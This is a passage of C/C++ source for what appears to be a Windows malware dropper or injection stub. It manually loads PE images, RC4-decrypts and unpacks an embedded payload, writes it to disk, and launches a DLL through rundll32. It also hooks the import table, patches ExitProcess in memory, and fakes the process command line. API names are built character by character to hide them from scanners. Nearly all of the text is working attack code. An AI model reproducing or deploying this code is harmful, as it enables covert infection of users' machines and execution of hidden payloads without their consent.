        LPDWORD pIATRVA = CALC_OFFSET(LPDWORD, pModule,    pImportDescriptor->FirstThunk);

        LPCSTR lpModName = CALC_OFFSET(LPCSTR, pModule,    pImportDescriptor->Name);

        HMODULE hMod = pData->LoadLibraryA(lpModName);

        if (hMod != NULL)
            while(*pImportLookupTable != 0x00)
            {
                if ((*pImportLookupTable & IMAGE_ORDINAL_FLAG) != 0x00)
                {
                    DWORD pOrdinalValue = *pImportLookupTable & 0x0ffff;
                    *pIATRVA = (DWORD) pData->GetProcAddress(hMod, (LPCSTR) pOrdinalValue);
                }
                else
                {
                    LPCSTR lpProcName = CALC_OFFSET_DISP(LPCSTR, pModule, (*pImportLookupTable), 2);    // adding two bytes
                    *pIATRVA = (DWORD) pData->GetProcAddress(hMod, lpProcName);
                }
                pIATRVA++;
                pImportLookupTable++;        
            }
            pImportDescriptor++;
    }
}


__forceinline ULONG ldr_exportdir(HMODULE hModule)
{
    ULONG pFunction = NULL;
    PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER) hModule;
    PIMAGE_NT_HEADERS pImageNtHeaders = CALC_OFFSET(PIMAGE_NT_HEADERS, hModule, pImageDosHeader->e_lfanew);
    PIMAGE_DATA_DIRECTORY pExportDir = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    if (pExportDir->Size == 0 || pExportDir->VirtualAddress == 0)
        return pFunction;
    
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ((PBYTE)pExportDir->VirtualAddress + (ULONG)hModule);
    pExportDirectory->AddressOfNames += DWORD(hModule);
    pExportDirectory->AddressOfFunctions += DWORD(hModule);
    pExportDirectory->AddressOfNameOrdinals += DWORD(hModule);

    LPDWORD ptrFunctions = (LPDWORD) pExportDirectory->AddressOfFunctions;
    LPDWORD ptrNames = (LPDWORD) pExportDirectory->AddressOfNames;

    for(DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
    {
        ptrFunctions[i] += (DWORD) hModule;
        ptrNames[i] += (DWORD) hModule;
        pFunction = ptrFunctions[i];
    }

    return pFunction;
}

__forceinline void ldr_reloc(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader)
{
    DWORD dwRelocSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
    DWORD dwRelocAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

    if (dwRelocAddr == 0 || dwRelocSize == 0)
        return;

    LPBYTE lpPtr = CALC_OFFSET(LPBYTE, pModule, dwRelocAddr);


    while(dwRelocSize > 0)
    {
        base_relocation_block_t block;

        _MEMCPY_(&block, lpPtr, sizeof(base_relocation_block_t));
        dwRelocSize -= block.BlockSize;
        lpPtr += sizeof(base_relocation_block_t);
        block.BlockSize -= 8;

        while(block.BlockSize)
        {
            base_relocation_entry_t entry;

            _MEMCPY_(&entry, lpPtr, sizeof(WORD));
                        
            LPDWORD ptrOffset = CALC_OFFSET(LPDWORD, pModule, block.PageRVA + entry.offset);
            DWORD dwOldValue = *ptrOffset;
            
            DWORD dwNewValue = dwOldValue -
                pImageNtHeader->OptionalHeader.ImageBase +
                (DWORD) pModule;

            LPWORD ptrHighOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 2);
            LPWORD ptrLowOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 0);

            WORD wLowNewOffset = (WORD) ((DWORD) pModule & 0xffff);
            WORD wHighNewOffset = (WORD) (((DWORD) pModule & 0xffff0000) >> 16);

            switch(entry.type)
            {
                // The base relocation is skipped. This type can be used to pad a block.
            case IMAGE_REL_BASED_ABSOLUTE:
                //std::cout << "Unsupported" << std::endl;
                break;
                // The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word.
            case IMAGE_REL_BASED_HIGH: 
                //*ptrHighOffset = *ptrHighOffset - wHighNewOffset;
                break;
                // The base relocation adds the low 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the low half of a 32-bit word. 
            case IMAGE_REL_BASED_LOW:
                break;
                // The base relocation applies all 32 bits of the difference to the 32-bit field at offset
            case IMAGE_REL_BASED_HIGHLOW:
                *ptrOffset = dwNewValue;
                break;
                // The base relocation adds the high 16 bits of the difference to the 16bit field at offset. The 16-bit field represents the high value of a 32-bit word.
                // The low 16 bits of the 32-bit value are stored in the 16-bit word that follows this base relocation. This means that this base relocation occupies two slots.
            case IMAGE_REL_BASED_HIGHADJ:
                break;
                // The base relocation applies the difference to the 64-bit field at offset.
            case IMAGE_REL_BASED_DIR64:
                break;
            }

            // FIX ENTRY++

            lpPtr += sizeof(base_relocation_entry);
            block.BlockSize -= 2;
        }
    }
}


BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData)
{
    DWORD dwUnpackedSize = 0;
    PCHAR pPackedBuffer; 
    PCHAR pUnpackedBuffer; 
    
    pPackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, dataSize, MEM_COMMIT, PAGE_READWRITE);
    pUnpackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, originalSize, MEM_COMMIT, PAGE_READWRITE);
    _MEMCPY_(pPackedBuffer, fileData, dataSize);

    RC4_SKIP pfn_rc4skip = (RC4_SKIP) (((PCHAR)pData->header) + pData->header->functions.rc4.offset);
    pfn_rc4skip((PBYTE)pData->header->rc4key, RC4KEYLEN, 0, (PBYTE)pPackedBuffer, dataSize, pData);
    
    dwUnpackedSize = aP_depack(pPackedBuffer, pUnpackedBuffer);

    pData->VirtualFree(pPackedBuffer, 0, MEM_RELEASE);
    if (dwUnpackedSize != originalSize)
        return FALSE;

    HANDLE hFile = pData->CreateFileA(fileName, 
        GENERIC_READ | GENERIC_WRITE, 
        0, 
        NULL, 
        CREATE_ALWAYS, 
        FILE_ATTRIBUTE_NORMAL, 
        NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        return FALSE;

    DWORD dwWritten = 0;
    BOOL bRet = pData->WriteFile(hFile, pUnpackedBuffer, originalSize, &dwWritten, NULL);

    pData->CloseHandle(hFile);
    pData->VirtualFree(pUnpackedBuffer, 0, MEM_RELEASE);

    if (bRet == FALSE)
        return FALSE;

    pData->SetFileAttributesA(fileName, FILE_ATTRIBUTE_NORMAL);

    return TRUE;    
}
FUNCTION_END(DumpFile);


DWORD WINAPI CoreThreadProc(__in PMY_DATA pData)
{    
    PCHAR pCompletePath = NULL;
    PCHAR pFunctionName = NULL;
    LPSTARTUPINFO pStartupInfo = NULL;
    LPPROCESS_INFORMATION pProcInfo = NULL;

    CHAR strRunDLL[] = { '%', 's', 'y', 's', 't', 'e', 'm', 'r', 'o', 'o', 't', '%', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'r', 'u', 'n', 'd', 'l', 'l', '3', '2', '.', 'e', 'x', 'e', ' ', '"', 0x0 };
    CHAR strComma[] = { '"', ',', 0x0 };

    CHAR strHFF5[11];
    CHAR strHFF8[11];
    _MEMSET_(strHFF5, 0x0, 11);
    _MEMSET_(strHFF8, 0x0, 11);
    _MEMCPY_(strHFF5, pData->header->eliteExports, 10);
    _MEMCPY_(strHFF8, pData->header->eliteExports+11, 10);
    
    pCompletePath = (PCHAR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE);
    _MEMSET_(pCompletePath, 0x0, 32767);
    _MEMCPY_(pCompletePath, strRunDLL, _STRLEN_(strRunDLL));
    _STRCAT_(pCompletePath, pData->header->dllPath);
    _STRCAT_(pCompletePath, strComma);
    _STRCAT_(pCompletePath, strHFF8);

    HMODULE hLib = pData->LoadLibraryA(pData->header->dllPath);
    if (hLib == INVALID_HANDLE_VALUE)
        goto THREAD_EXIT;

    pFunctionName = (PCHAR)pData->VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
    _MEMSET_(pFunctionName, 0x0, 4096);
    _MEMCPY_(pFunctionName, strHFF5, _STRLEN_(strHFF5));
    
    HFF5 pfn_HFF5 = (HFF5) pData->GetProcAddress(hLib, pFunctionName);
    if (pfn_HFF5 == NULL)
        goto THREAD_EXIT;
    
    pStartupInfo = (LPSTARTUPINFO) pData->VirtualAlloc(NULL, sizeof(STARTUPINFO), MEM_COMMIT, PAGE_READWRITE);
    pStartupInfo->cb = sizeof(STARTUPINFO);
    pProcInfo = (LPPROCESS_INFORMATION) pData->VirtualAlloc(NULL, sizeof(PROCESS_INFORMATION), MEM_COMMIT, PAGE_READWRITE);

    pfn_HFF5(pCompletePath, NULL, pStartupInfo, pProcInfo);

THREAD_EXIT:
    if (pCompletePath)
        pData->VirtualFree(pCompletePath, 0, MEM_RELEASE);
    if (pFunctionName)
        pData->VirtualFree(pFunctionName, 0, MEM_RELEASE);
    if (pStartupInfo)
        pData->VirtualFree(pStartupInfo, 0, MEM_RELEASE);
    if (pProcInfo)
        pData->VirtualFree(pProcInfo, 0, MEM_RELEASE);
    if (pData->header->dllPath)
        pData->VirtualFree(pData->header->dllPath, 0, MEM_RELEASE);

    // done.
    pData->header->synchro = 1;


    return 0;
}
FUNCTION_END(CoreThreadProc);


VOID WINAPI ExitProcessHook(__in  UINT uExitCode)
{
    DWORD dwCurrentAddr = 0;
    DWORD dwMagic = 0;
    
    // Get current EIP in dwCurrentAddr
    __asm{
        call lbl_ref1
lbl_ref1:
        pop dwCurrentAddr
    }
    
    // *** Find the ending marker of data section <E> 
    while ( dwMagic != 0x003E453C )
        dwMagic = (DWORD)(*(DWORD *)(--dwCurrentAddr));
    
    // *** Total size of data section
    dwCurrentAddr -= sizeof(DWORD);
    DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr));

    // *** Pointer to data section header
    DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize);    

    LOADLIBRARY    pfn_LoadLibrary       = resolveLoadLibrary();
    GETPROCADDRESS pfn_GetProcAddress  = resolveGetProcAddress();

    char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    char strSleep[] = { 'S', 'l', 'e', 'e', 'p', 0x0 };
    char strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 };
    CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 };
    CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 };

    VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect);
    VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery);
    HMODULE hMod = pfn_LoadLibrary(strKernel32);
    SLEEP pfn_Sleep = (SLEEP) pfn_GetProcAddress(hMod, strSleep);
    EXITPROCESS pfn_ExitProcess = (EXITPROCESS) pfn_GetProcAddress(hMod, strExitProcess);
    PBYTE pExitProcessAddr = (PBYTE) pfn_ExitProcess;
    
    while (header->synchro != 1)
        pfn_Sleep(100);

    ULONG uOldProtect;
    MEMORY_BASIC_INFORMATION mbi;
    pfn_VirtualQuery((PVOID)pExitProcessAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
    pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &uOldProtect);

    BYTE pData[] = { 0x8b, 0xc0, 0x55, 0x8b, 0xec }; // so lame.
    _MEMCPY_(pExitProcessAddr, pData, 5);
    pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, uOldProtect, &uOldProtect);

    pfn_ExitProcess(0);
}
FUNCTION_END(ExitProcessHook);


DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData)
{
    HMODULE modHandle = pData->GetModuleHandle(dll);
    // check if dll is loaded
    if(modHandle == NULL)
        return -1;

    // function address we're going to hook
    DWORD needAddress = (DWORD)pData->GetProcAddress(modHandle, name);
    IMAGE_IMPORT_DESCRIPTOR const * lpImp = (IMAGE_IMPORT_DESCRIPTOR *)((UINT_PTR)imageBase + IAT_rva);
    while(lpImp->Name) 
    {
        CHAR* dllName_RO = (CHAR*)((UINT_PTR)imageBase) + lpImp->Name;
        CHAR* dllName = (CHAR*) pData->VirtualAlloc(NULL, _STRLEN_(dllName_RO) + 1, MEM_COMMIT, PAGE_READWRITE);
        if(dllName == NULL)
            return -1;

        _MEMCPY_(dllName, dllName_RO, _STRLEN_(dllName_RO) + 1);
        if(!_STRCMPI_(dllName, dll)) 
        {
            UINT_PTR dwOriginalThunk = (lpImp->OriginalFirstThunk ? lpImp->OriginalFirstThunk : lpImp->FirstThunk);
            IMAGE_THUNK_DATA const *itd = (IMAGE_THUNK_DATA *)(imageBase + dwOriginalThunk);
            UINT_PTR dwThunk = lpImp->FirstThunk;
            IMAGE_IMPORT_BY_NAME const * name_import = (IMAGE_IMPORT_BY_NAME *)(imageBase + itd->u1.AddressOfData);

            DWORD* ptrToCallAddr = (DWORD*) (imageBase + dwThunk);        
            do
            {
                if(needAddress == *ptrToCallAddr)
                {
                    DWORD oldProtect = 0;
                    MEMORY_BASIC_INFORMATION * mbi = (MEMORY_BASIC_INFORMATION *) 
                        pData->VirtualAlloc(
                            NULL, 
                            sizeof(MEMORY_BASIC_INFORMATION), 
                            MEM_COMMIT, 
                            PAGE_READWRITE);

                    pData->VirtualQuery((LPCVOID)ptrToCallAddr, mbi, sizeof(MEMORY_BASIC_INFORMATION));
                    pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect);

                    *ptrToCallAddr = (DWORD) hookFunc;

                    pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, oldProtect, NULL);
                    pData->VirtualFree(mbi, 0, MEM_RELEASE);
                    pData->VirtualFree(dllName, 0, MEM_RELEASE);
                    return 0;
                }
                ptrToCallAddr++;
    
            }
            while(*ptrToCallAddr != NULL);
        }

        pData->VirtualFree(dllName, 0, MEM_RELEASE);
        lpImp++;
    }

    return -1;
}
FUNCTION_END(HookIAT);

LPSTR WINAPI GetCommandLineAHook()
{
    GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
    LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary();

    CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
    CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 };

    VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc);
    GETCOMMANDLINEA pfn_OriginalGetCommandLineA = (GETCOMMANDLINEA) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineA);

    LPSTR OriginalCommandLine = pfn_OriginalGetCommandLineA();
    ULONG uLen = _STRLEN_(OriginalCommandLine);
    LPSTR FakeCommandLine = (LPSTR)pfn_VirtualAlloc(NULL, uLen + 7, MEM_COMMIT, PAGE_READWRITE);

    _MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen);
    *(PUSHORT)&FakeCommandLine[uLen] = 0x2f20; // '/ '
    *(PULONG)&FakeCommandLine[uLen+2] = 0x4352434e; // 'NCRC'
    FakeCommandLine[uLen+6] = 0x0;

    return FakeCommandLine;
}
FUNCTION_END(GetCommandLineAHook);

LPWSTR WINAPI GetCommandLineWHook()
{
    GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
    LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary();

    CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
    CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
    CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 };

    VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc);
    GETCOMMANDLINEW pfn_OriginalGetCommandLineW = (GETCOMMANDLINEW) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineW);

    LPWSTR OriginalCommandLine = pfn_OriginalGetCommandLineW();
    ULONG uLen = _STRLENW_(OriginalCommandLine);
    LPWSTR FakeCommandLine = (LPWSTR)pfn_VirtualAlloc(NULL, uLen + 14, MEM_COMMIT, PAGE_READWRITE);

    _MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen);
    *(PULONG)&((PBYTE)FakeCommandLine)[uLen] = 0x002f0020; // ' /'
    *(PULONG)&((PBYTE)FakeCommandLine)[uLen+4] = 0x0043004e; // 'NC'
    *(PULONG)&((PBYTE)FakeCommandLine)[uLen+8] = 0x00430052; // 'RC'
    *(PUSHORT)&((PBYTE)FakeCommandLine)[uLen+12] = 0x0000;

    return FakeCommandLine;
}
FUNCTION_END(GetCommandLineWHook);

void ArcFour(
    const unsigned char *key, 
    size_t keylen, 
    size_t skip,
    unsigned char *data, 
    size_t data_len, 
    PMY_DATA pData)
{
    unsigned int i, j, k;
    unsigned char *pos;
    size_t kpos;
        
    unsigned char *S = (unsigned char*) pData->VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
    
    /* Setup RC4 state */
    for (i = 0; i < 256; i++)
        S[i] = i;
    j = 0;
    kpos = 0;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[kpos]) & 0xff;
        kpos++;
        if (kpos >= keylen)
            kpos = 0;
        S_SWAP(i, j);
    }
    
    /* Skip the start of the stream */
    i = j = 0;
    for (k = 0; k < skip; k++) {
        i = (i + 1) & 0xff;
        j = (j + S[i]) & 0xff;
        S_SWAP(i, j);
    }
    
    /* Apply RC4 to data */
    pos = data;
    for (k = 0; k < data_len; k++) {
        i = (i + 1) & 0xff;
        j = (j + S[i]) & 0xff;
        S_SWAP(i, j);
        *pos++ ^= S[(S[i] + S[j]) & 0xff];
    }

    pData->VirtualFree(S, 0, MEM_RELEASE);
}
FUNCTION_END(ArcFour);


#pragma code_seg()
#pragma optimize( "", on )